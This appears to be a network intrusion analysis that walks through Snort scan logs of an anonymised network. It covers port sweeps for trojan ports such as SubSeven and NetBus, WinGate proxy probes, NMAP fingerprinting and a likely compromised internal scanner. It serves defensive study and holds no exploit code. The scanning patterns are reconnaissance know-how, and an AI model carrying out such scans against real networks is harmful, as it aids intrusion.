Jun  2 12:10:59 209.203.5.158:4640 -> MY.NET.181.131:53 UDP
```

There seems to be a lot of DNS scans on MY.NET systems. Make sure DNS is only running on the appropriate systems, with the latest patch, and that DNS is disabled on all other systems

Here is a scan from 202.38.128.188 (Institute of High Energy Physics, Chinese Academy of Sciences, China) looking for port 8080 (WinProxy) on most of the MY.NET address space starting at Jun 1 01:59:13 and finishing at Jun 1 02:38:27

```
Jun  1 01:59:13 202.38.128.188:4953 -> MY.NET.1.0:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4956 -> MY.NET.1.3:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4960 -> MY.NET.1.7:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4963 -> MY.NET.1.10:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4964 -> MY.NET.1.11:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4970 -> MY.NET.1.17:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4971 -> MY.NET.1.18:8080 SYN **S*****
Jun  1 01:59:13 202.38.128.188:4972 -> MY.NET.1.19:8080 SYN **S*****
```

(and the scan continues on…)

Here is 24.2.169.101 (home.com, an ISP) doing a scan for 27374 (SubSeven) on all system in MY.NET.

```
Jun  1 14:20:31 24.2.169.101:1288 -> MY.NET.1.3:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1289 -> MY.NET.1.4:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1290 -> MY.NET.1.5:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1292 -> MY.NET.1.7:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1293 -> MY.NET.1.8:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1294 -> MY.NET.1.9:27374 SYN **S*****
Jun  1 14:20:31 24.2.169.101:1295 -> MY.NET.1.10:27374 SYN **S*****
(and the scan continues on)
```

Here is 216.72.32.66 (BARAK, Israel) doing a scan for 98 (TAC News) on a large number of systems in MY.NET.

```
Jun  1 17:25:33 216.72.32.66:2643 -> MY.NET.1.75:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2718 -> MY.NET.1.131:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2721 -> MY.NET.1.134:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2723 -> MY.NET.1.136:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2724 -> MY.NET.1.137:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2725 -> MY.NET.1.138:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2726 -> MY.NET.1.139:98 SYN **S*****
Jun  1 17:25:33 216.72.32.66:2728 -> MY.NET.1.141:98 SYN **S*****
(and the scan continues on … )
```

From file 'SnortS7.txt' it looks like "MY.NET.253.12" may have been compromised since it is performing a port scan on host "MY.NET.14.1" (a large number of SYN request with same source port and many different destination ports in a short span of time). Looks like a type of multiscan – very fast scan for unknown ports.

```
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:93 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:669 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:5301 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:590 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:5145 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:63 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:1519 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:5713 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:147 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:1356 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:592 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:1347 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:887 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:820 SYN **S*****
May 27 23:44:42 MY.NET.253.12:43746 -> MY.NET.14.1:2041 SYN **S*****
(and the scan continues on…)
```

Here is a user from 172.129.14.175 (AOL, an ISP) scanning MY.NET.146.68 looking for Trojans (ie port 12345 Netbus, 31337 Back Orifice, 27374 SubSeven, 6670 DeepThroat, etc)

```
Jun  1 10:29:36 172.129.14.175:1977 -> MY.NET.146.68:12345 SYN **S*****
Jun  1 10:29:36 172.129.14.175:1978 -> MY.NET.146.68:31337 SYN **S*****
Jun  1 10:29:36 172.129.14.175:1996 -> MY.NET.146.68:27374 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1979 -> MY.NET.146.68:6670 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1981 -> MY.NET.146.68:21554 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1982 -> MY.NET.146.68:1080 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1983 -> MY.NET.146.68:20034 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1984 -> MY.NET.146.68:40421 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1985 -> MY.NET.146.68:31338 SYN **S*****
```

```
Jun  1 10:29:37 172.129.14.175:1986 -> MY.NET.146.68:31785 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1987 -> MY.NET.146.68:5400 SYN **S*****
Jun  1 10:29:37 172.129.14.175:1988 -> MY.NET.146.68:9872 SYN **S*****
(and the scan continues on …)
```

There are also log entries across several log files showing MY.NET.253.12 scanning several segments looking for servers listening on port 1080, like a WinGate proxy.

```
SnortA11.txt:05/28-14:29:58.037017  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.0:1080
SnortA11.txt:05/28-14:32:58.924117  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.2:1080
SnortA11.txt:05/28-14:35:47.635190  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.3:1080
...
SnortA11.txt:05/28-23:51:45.749554  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.161:1080
SnortA11.txt:05/28-23:55:12.391616  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.162:1080
SnortA11.txt:05/28-23:58:36.103186  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.163:1080

SnortA14.txt:05/29-00:01:55.663171  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.16.164:1080
SnortA14.txt:05/29-00:05:20.846774  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.16.165:1080
SnortA14.txt:05/29-00:08:54.929074  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.16.166:1080
...
SnortA14.txt:05/29-06:15:41.067005  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.254:1080
SnortA14.txt:05/29-06:19:10.977900  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.255:1080
SnortA14.txt:05/29-06:41:48.987318  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.19.0:1080
SnortA14.txt:05/29-06:45:05.300529  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.19.1:1080
...
SnortA14.txt:05/29-21:50:45.482291  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.19.254:1080
SnortA14.txt:05/29-21:54:11.893233  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.19.255:1080
SnortA15.txt:05/31-14:35:06.627955  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.101.0:1080
SnortA15.txt:05/31-14:48:14.651465  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.101.1:1080
...
SnortA15.txt:05/31-23:41:48.812269  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.101.121:1080
SnortA15.txt:05/31-23:48:41.846419  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.101.123:1080

SnortA16.txt:06/01-00:02:36.046947  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.101.127:1080
SnortA16.txt:06/01-00:08:10.384725  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.101.128:1080
...
SnortA16.txt:06/01-09:05:51.076114  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43749 -> MY.NET.101.254:1080
SnortA16.txt:06/01-09:09:18.584447  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.101.255:1080
SnortA16.txt:06/01-09:10:41.559368  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.102.0:1080
SnortA16.txt:06/01-09:14:03.880516  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.102.1:1080
...
SnortA16.txt:06/01-23:47:37.347310  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.102.245:1080
SnortA16.txt:06/01-23:51:05.667772  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.102.246:1080
```

In reality, the MY.NET.253.12 probe above was scanning several ports (WinGate (1080, 8080) and SUNRPC (32771))

```
05/28-14:29:58.037017  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.0:1080
05/28-14:30:19.134140  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.0:8080
05/28-14:30:19.474450  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.16.0:8080
05/28-14:30:50.876461  [**] SUNRPC highport access! [**] MY.NET.253.12:43746 -> MY.NET.16.0:32771
05/28-14:30:51.185774  [**] SUNRPC highport access! [**] MY.NET.253.12:43747 -> MY.NET.16.0:32771
05/28-14:31:04.905230  [**] SUNRPC highport access! [**] MY.NET.253.12:43749 -> MY.NET.16.0:32771
05/28-14:31:05.245775  [**] SUNRPC highport access! [**] MY.NET.253.12:43750 -> MY.NET.16.0:32771
05/28-14:31:39.938150  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.0:8080
05/28-14:32:01.099967  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43749 -> MY.NET.16.0:1080
05/28-14:32:01.463648  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.0:1080
05/28-14:32:32.913487  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:42407
05/28-14:32:35.007766  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:42407
05/28-14:32:48.192825  [**] NMAP TCP ping! [**] MY.NET.253.12:43758 -> MY.NET.16.0:40149
```

The following messages indicate the following systems must have responsed back, causing the following probes to gain more information about the systems.

```
SnortA11.txt:05/28-14:32:56.087697  [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 ->
MY.NET.16.1:7
```

SnortA11.txt:05/28-14:33:06.465190 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.2:21
SnortA14.txt:05/29-07:32:41.151883 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.19.10:23
SnortA14.txt:05/29-07:32:51.529932 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.19.10:23
SnortA15.txt:05/31-14:49:23.623677 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.1:23
SnortA15.txt:05/31-14:49:51.421208 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.1:23
SnortA15.txt:05/31-22:11:09.250959 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.89:21
SnortA15.txt:05/31-22:11:11.072031 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.89:21
SnortA15.txt:05/31-22:11:39.719584 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.90:7
SnortA15.txt:05/31-22:11:46.628939 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.90:7
SnortA15.txt:05/31-22:11:50.338426 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.90:7
SnortA15.txt:05/31-23:30:24.956810 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.115:7
SnortA15.txt:05/31-23:30:26.740181 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.115:7
SnortA15.txt:05/31-23:30:44.135423 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.117:7
SnortA16.txt:06/01-00:47:28.285199 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.140:7
SnortA16.txt:06/01-00:47:41.866789 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.140:7
SnortA16.txt:06/01-00:48:19.752087 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.141:7
SnortA16.txt:06/01-00:48:43.954454 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.141:7
SnortA16.txt:06/01-00:49:33.458992 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.142:7
SnortA16.txt:06/01-01:22:21.241837 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.101.158:7
SnortA6.txt:05/27-23:44:47.358118 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.14.1:7
SnortA7.txt:05/28-14:32:56.087697 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.1:7
SnortA7.txt:05/28-14:33:06.465190 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.16.2:21
SnortA9.txt:05/27-23:44:47.358118 [**] Probable NMAP fingerprint attempt [**] MY.NET.253.12:43755 -> MY.NET.14.1:7

From Jun 22 20:57:48 to Jun 22 20:59:04 we have 212.25.68.195 (ISP Provider from Israel) doing a quick scan for hosts running Telnet (port 23), FTP (port 21), POP3 (port 110) and IMAP (port 143). Probably a mscan probe.

Jun 22 20:57:48 212.25.68.195:1624 -> MY.NET.1.14:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1625 -> MY.NET.179.37:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1626 -> MY.NET.141.250:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1627 -> MY.NET.105.59:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1628 -> MY.NET.7.20:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1629 -> MY.NET.145.161:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1630 -> MY.NET.180.127:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1631 -> MY.NET.151.66:23 SYN **S*****
Jun 22 20:57:48 212.25.68.195:1632 -> MY.NET.182.98:23 SYN **S*****
…
Jun 22 20:57:59 212.25.68.195:2157 -> MY.NET.140.252:21 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2158 -> MY.NET.180.126:21 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2226 -> MY.NET.182.98:110 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2227 -> MY.NET.179.37:143 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2228 -> MY.NET.151.24:143 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2229 -> MY.NET.6.35:143 SYN **S****
(and the scan continues on …)

One interesting note is the scanner also checked for sunrpc (TCP 111 and UDP 111) only on the MY.NET.6.15 host. The scanner is probably the program 'mscan', which is used to discover well-known vulnerabilities in systems.

```
Jun 22 20:57:48 212.25.68.195:1693 -> MY.NET.6.15:23 SYN **S*****
Jun 22 20:57:51 212.25.68.195:1693 -> MY.NET.6.15:23 SYN **S*****
Jun 22 20:57:57 212.25.68.195:1693 -> MY.NET.6.15:23 SYN **S*****
Jun 22 20:57:58 212.25.68.195:1995 -> MY.NET.6.15:21 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2231 -> MY.NET.6.15:143 SYN **S*****
Jun 22 20:57:59 212.25.68.195:2247 -> MY.NET.6.15:110 SYN **S*****
Jun 22 20:58:00 212.25.68.195:637 -> MY.NET.6.15:111 SYN **S*****
Jun 22 20:58:02 212.25.68.195:688 -> MY.NET.6.15:111 UDP
```

And here is another external user, 129.49.163.74 (State University of NY at Stony Brook) trying to access the sunrpc port 111 earlier. Due to security issues with sunrpc, external access to sunrpc should be denied.

```
06/18-13:31:56.264564  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:31:56.354686  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:31:56.354751  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:31:56.436770  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:31:56.436818  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:31:56.538375  [**] External RPC call [**] 129.49.163.74:1005 -> MY.NET.6.15:111
06/18-13:32:35.265173  [**] External RPC call [**] 129.49.163.74:882 -> MY.NET.15.127:111
06/18-13:37:57.144204  [**] External RPC call [**] 129.49.163.74:802 -> MY.NET.100.130:111
06/18-13:38:00.200335  [**] External RPC call [**] 129.49.163.74:802 -> MY.NET.100.130:111
```

On May 26 at 02:17:58 a probe from 169.237.30.234 (University of California) to host MY.NET.201.6 was logged because it was using illegal TCP flag bits. Could be trying to identify the type of system MY.NET.201.6 is inorder to attack it later.

```
SnortS8.txt:May 26 02:17:58 169.237.30.234:6688 -> MY.NET.201.6:1040 NULL ********
SnortS8.txt:May 26 02:18:38 169.237.30.234:0 -> MY.NET.201.6:6688 NMAPID **SF*P*U
SnortS8.txt:May 26 02:19:07 169.237.30.234:6688 -> MY.NET.201.6:1041 NMAPID **SF*P*U
SnortS8.txt:May 26 02:19:38 169.237.30.234:16 -> MY.NET.201.6:6688 NMAPID **SF*P*U
SnortS8.txt:May 26 02:20:29 169.237.30.234:6688 -> MY.NET.201.6:1041 NMAPID **SF*P*U
SnortS8.txt:May 26 02:21:03 169.237.30.234:6688 -> MY.NET.201.6:1045 NOACK 2*SFR**U RESERVEDBITS
SnortS8.txt:May 26 02:21:09 169.237.30.234:6688 -> MY.NET.201.6:1045 INVALIDACK *1S*R*AU RESERVEDBITS
```

This looks like 130.149.41.70 (Technische Universitaet Berlin, Germany) is trying to identify the system MY.NET.217.74 by recording its responses to illegal TCP flag combinations.

```
Jun  6 20:08:57 130.149.41.70:3035 -> MY.NET.217.74:994 NOACK 21S*R*** RESERVEDBITS
Jun  6 20:10:11 130.149.41.70:3041 -> MY.NET.217.74:994 XMAS ***F*P*U
Jun  6 20:11:25 130.149.41.70:3041 -> MY.NET.217.74:994 XMAS ***F*P*U
Jun  6 20:13:23 130.149.41.70:3043 -> MY.NET.217.74:994 NULL ********
Jun  6 20:14:29 130.149.41.70:3043 -> MY.NET.217.74:994 NOACK 2**FRP*U RESERVEDBITS
Jun  6 20:15:17 130.149.41.70:3045 -> MY.NET.217.74:994 NOACK 21S*R*** RESERVEDBITS
Jun  6 20:15:27 130.149.41.70:3045 -> MY.NET.217.74:994 NOACK 21S*R*** RESERVEDBITS
Jun  6 20:15:31 130.149.41.70:202 -> MY.NET.217.74:3045 NOACK 21S*R*** RESERVEDBITS
Jun  6 20:21:35 130.149.41.70:3069 -> MY.NET.217.74:994 INVALIDACK *1**R*AU RESERVEDBITS
Jun  6 20:21:44 130.149.41.70:3069 -> MY.NET.217.74:994 INVALIDACK *1**R*AU RESERVEDBITS
Jun  6 20:22:16 130.149.41.70:0 -> MY.NET.217.74:3069 INVALIDACK *1**R*AU RESERVEDBITS
(and the scan continues on …)
```

Here is 139.141.111.175 scanning MY.NET.97.44 looking for Trojans.

```
Jun 12 13:45:13 139.141.111.175:3500 -> MY.NET.97.44:30029 SYN **S*****
Jun 12 13:45:18 139.141.111.175:3500 -> MY.NET.97.44:30029 SYN **S*****
Jun 12 13:45:23 139.141.111.175:3500 -> MY.NET.97.44:30029 SYN **S*****
Jun 12 13:45:15 139.141.111.175:3504 -> MY.NET.97.44:34324 SYN **S*****
```

```
Jun 12 13:45:19 139.141.111.175:3504 -> MY.NET.97.44:34324 SYN **S*****
Jun 12 13:45:15 139.141.111.175:3505 -> MY.NET.97.44:20331 SYN **S*****
Jun 12 13:45:19 139.141.111.175:3505 -> MY.NET.97.44:20331 SYN **S*****
Jun 12 13:45:16 139.141.111.175:3509 -> MY.NET.97.44:121 SYN **S*****
Jun 12 13:45:19 139.141.111.175:3509 -> MY.NET.97.44:121 SYN **S*****
Jun 12 13:45:14 139.141.111.175:3514 -> MY.NET.97.44:65000 SYN **S*****
Jun 12 13:45:18 139.141.111.175:3514 -> MY.NET.97.44:65000 SYN **S*****
Jun 12 13:45:21 139.141.111.175:3514 -> MY.NET.97.44:65000 SYN **S*****
Jun 12 13:45:15 139.141.111.175:3520 -> MY.NET.97.44:50766 SYN **S*****
Jun 12 13:45:18 139.141.111.175:3520 -> MY.NET.97.44:50766 SYN **S*****
Jun 12 13:45:21 139.141.111.175:3520 -> MY.NET.97.44:50766 SYN **S*****
Jun 12 13:45:15 139.141.111.175:3521 -> MY.NET.97.44:9999 SYN **S*****
Jun 12 13:45:19 139.141.111.175:3521 -> MY.NET.97.44:9999 SYN **S*****
Jun 12 13:45:23 139.141.111.175:3521 -> MY.NET.97.44:9999 SYN **S*****
(and the scan continues on … )
```

Here is 144.132.1.96 (Telstra from AU) doing a Multiscan on MY.NET.97.149.

```
Jun  2 23:09:54 144.132.1.96:62099 -> MY.NET.97.149:281 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62100 -> MY.NET.97.149:584 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62101 -> MY.NET.97.149:175 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62102 -> MY.NET.97.149:891 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62104 -> MY.NET.97.149:108 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62106 -> MY.NET.97.149:865 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62108 -> MY.NET.97.149:778 SYN **S*****
Jun  2 23:09:51 144.132.1.96:62113 -> MY.NET.97.149:2043 SYN **S*****
Jun  2 23:09:51 144.132.1.96:62115 -> MY.NET.97.149:2032 SYN **S*****
Jun  2 23:09:51 144.132.1.96:62117 -> MY.NET.97.149:1349 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62126 -> MY.NET.97.149:305 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62127 -> MY.NET.97.149:4321 SYN **S*****
Jun  2 23:09:54 144.132.1.96:62128 -> MY.NET.97.149:2012 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62129 -> MY.NET.97.149:549 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62130 -> MY.NET.97.149:875 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62131 -> MY.NET.97.149:205 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62132 -> MY.NET.97.149:455 SYN **S*****
Jun  2 23:09:57 144.132.1.96:62133 -> MY.NET.97.149:631 SYN **S*****
(and the scan continues on … )
```

Here is 163.121.43.37 (Information and Decision Support Center from Cairo, EG) scanning host MY.NET.97.70 for Trojans. (port 4321 BoBo, 12346 NetBus, 2583 WinCrash, 1492 FTP99CMP, etc)

```
Jun 22 23:24:01 163.121.43.37:1025 -> MY.NET.97.70:4321 SYN **S*****
Jun 22 23:23:59 163.121.43.37:1027 -> MY.NET.97.70:12346 SYN **S*****
Jun 22 23:23:55 163.121.43.37:1028 -> MY.NET.97.70:3587 SYN **S*****
Jun 22 23:23:59 163.121.43.37:1028 -> MY.NET.97.70:3587 SYN **S*****
Jun 22 23:23:55 163.121.43.37:1029 -> MY.NET.97.70:2583 SYN **S*****
Jun 22 23:23:59 163.121.43.37:1029 -> MY.NET.97.70:2583 SYN **S*****
Jun 22 23:24:01 163.121.43.37:1029 -> MY.NET.97.70:2583 SYN **S*****
Jun 22 23:24:01 163.121.43.37:1032 -> MY.NET.97.70:1492 SYN **S*****
Jun 22 23:23:57 163.121.43.37:1034 -> MY.NET.97.70:20331 SYN **S*****
Jun 22 23:24:01 163.121.43.37:1034 -> MY.NET.97.70:20331 SYN **S*****
Jun 22 23:23:55 163.121.43.37:1035 -> MY.NET.97.70:9999 SYN **S*****
Jun 22 23:23:57 163.121.43.37:1035 -> MY.NET.97.70:9999 SYN **S*****
Jun 22 23:23:59 163.121.43.37:1036 -> MY.NET.97.70:1016 SYN **S*****
Jun 22 23:24:01 163.121.43.37:1036 -> MY.NET.97.70:1016 SYN **S*****
Jun 22 23:23:55 163.121.43.37:1037 -> MY.NET.97.70:9400 SYN **S*****
Jun 22 23:23:57 163.121.43.37:1037 -> MY.NET.97.70:9400 SYN **S*****
Jun 22 23:24:01 163.121.43.37:1037 -> MY.NET.97.70:9400 SYN **S*****
Jun 22 23:23:55 163.121.43.37:1038 -> MY.NET.97.70:12701 SYN **S*****
Jun 22 23:23:56 163.121.43.37:1039 -> MY.NET.97.70:5033 SYN **S*****
(and the scan continues on …)
```

Here is 193.231.220.106 (From Romania) doing a port scan on host MY.NET.60.14

```
May 27 01:52:04 193.231.220.106:1025 -> MY.NET.60.14:1 SYN **S*****
```

```
May 27 01:52:04 193.231.220.106:1025 -> MY.NET.60.14:4 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:12 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:14 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:5 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:6 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:7 SYN **S*****
May 27 01:52:05 193.231.220.106:1025 -> MY.NET.60.14:9 SYN **S*****
May 27 01:52:06 193.231.220.106:1025 -> MY.NET.60.14:16 SYN **S*****
May 27 01:52:06 193.231.220.106:1025 -> MY.NET.60.14:18 SYN **S*****
May 27 01:52:06 193.231.220.106:1025 -> MY.NET.60.14:20 SYN **S*****
May 27 01:52:06 193.231.220.106:1025 -> MY.NET.60.14:23 SYN **S*****
May 27 01:52:07 193.231.220.106:1025 -> MY.NET.60.14:21 SYN **S*****
May 27 01:52:07 193.231.220.106:1025 -> MY.NET.60.14:24 SYN **S*****
May 27 01:52:07 193.231.220.106:1025 -> MY.NET.60.14:26 SYN **S*****
May 27 01:52:07 193.231.220.106:1025 -> MY.NET.60.14:29 SYN **S*****
(and the scan continues on … )
```

Here are two system from 194.154.x.x SpiderNet (Cyprus) scanning for Trojans on two systems at MY.NET

```
Jun  6 19:06:41 194.154.153.201:3359 -> MY.NET.97.148:31338 SYN **S*****
Jun  6 19:06:42 194.154.153.201:3359 -> MY.NET.97.148:31338 SYN **S*****
Jun  6 19:06:41 194.154.153.201:3360 -> MY.NET.97.148:31785 SYN **S*****
Jun  6 19:06:41 194.154.153.201:3361 -> MY.NET.97.148:5400 SYN **S*****
Jun  6 19:06:47 194.154.153.201:3361 -> MY.NET.97.148:5400 SYN **S*****
Jun  6 19:06:49 194.154.153.201:3361 -> MY.NET.97.148:5400 SYN **S*****
Jun  6 19:06:41 194.154.153.201:3362 -> MY.NET.97.148:9872 SYN **S*****
Jun  6 19:06:44 194.154.153.201:3363 -> MY.NET.97.148:20000 SYN **S*****
Jun  6 19:06:40 194.154.153.201:3364 -> MY.NET.97.148:7307 SYN **S*****
Jun  6 19:06:41 194.154.153.201:3366 -> MY.NET.97.148:61466 SYN **S*****
Jun  6 19:06:43 194.154.153.201:3366 -> MY.NET.97.148:61466 SYN **S*****
May 27 20:00:58 194.154.157.143:1555 -> MY.NET.97.127:12345 SYN **S*****
May 27 20:00:58 194.154.157.143:1557 -> MY.NET.97.127:6670 SYN **S*****
May 27 20:00:58 194.154.157.143:1560 -> MY.NET.97.127:1080 SYN **S*****
May 27 20:00:58 194.154.157.143:1561 -> MY.NET.97.127:20034 SYN **S*****
May 27 20:00:58 194.154.157.143:1563 -> MY.NET.97.127:31338 SYN **S*****
May 27 20:00:58 194.154.157.143:1564 -> MY.NET.97.127:31785 SYN **S*****
May 27 20:00:58 194.154.157.143:1565 -> MY.NET.97.127:5400 SYN **S*****
May 27 20:00:58 194.154.157.143:1566 -> MY.NET.97.127:9872 SYN **S*****
May 27 20:13:05 194.154.157.143:3996 -> MY.NET.97.127:12345 SYN **S*****
```

Here is someone from an ISP from Japan scanning all host on MY.NET looking for a WinGate Proxy (8080)

```
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.10:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.11:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.12:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.13:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.14:8080 SYN **S*****
